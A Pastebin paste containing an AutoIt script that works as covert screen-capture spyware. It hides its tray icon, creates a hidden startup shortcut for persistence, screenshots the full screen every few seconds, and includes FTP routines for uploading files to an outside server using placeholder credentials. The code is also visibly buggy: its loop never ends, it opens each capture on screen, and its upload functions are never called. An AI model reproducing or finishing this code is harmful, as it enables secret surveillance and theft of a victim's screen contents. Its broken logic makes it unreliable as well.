Advertisement
Guest User

Untitled

a guest
May 15th, 2016
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. #include <ScreenCapture.au3>
  2. #include <Inet.au3>
  3. #include <MsgBoxConstants.au3>
  4. #include <GUIConstantsEx.au3>
  5. #include <ButtonConstants.au3>
  6. #include <File.au3>
  7. #include <Misc.au3>
  8. #include <FTPEx.au3>
  9. #include <ScreenCapture.au3>
  10.  
  11. Global $Save, $Num, $Server, $Username, $Password
  12.  
  13. $Server = "ftp.drivehq.com"
  14. $Username = "my_account"
  15. $Password = "my_password"
  16.  
  17. Capturing()
  18. Func Capturing()
  19. AutoItSetOption("TrayIconHide", 1)
  20.  
  21. $Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "" & @ScriptName & ".lnk")
  22. FileSetAttrib($Shortcut, "+H")
  23. $Save = @MyDocumentsDir & "/" & "Log" & $Num & ".jpg"
  24. _FileCreate($Save)
  25. $i = 0
  26. While $i <= 10
  27.  
  28. Local $hBmp
  29.  
  30. ; Capture full screen
  31. $hBmp = _ScreenCapture_Capture("")
  32.  
  33. ; Save bitmap to file
  34. _ScreenCapture_SaveImage(@MyDocumentsDir & "GDIPlus_Image.jpg", $hBmp)
  35.  
  36. ShellExecute(@MyDocumentsDir & "GDIPlus_Image.jpg")
  37. Sleep(5000)
  38.  
  39. WEnd
  40. EndFunc
  41.  
  42. Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile)
  43.  
  44. $oFTP = _FTP_Open("myftp")
  45. $oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)
  46.  
  47. _FTP_FilePut($oConnect, $LocFile, $RemFile)
  48.  
  49. _FTP_Close($oFTP)
  50.  
  51. EndFunc ;==>_FTP_FileSend
  52.  
  53. Func _FTP_CreateDir($DirName)
  54.  
  55. $oFTP = _FTP_Open("myftp")
  56. $oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)
  57.  
  58. _FTP_DirCreate($oConnect, $DirName)
  59.  
  60. _FTP_Close($oFTP)
  61.  
  62. EndFunc ;==>_FTP_CreateDir
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement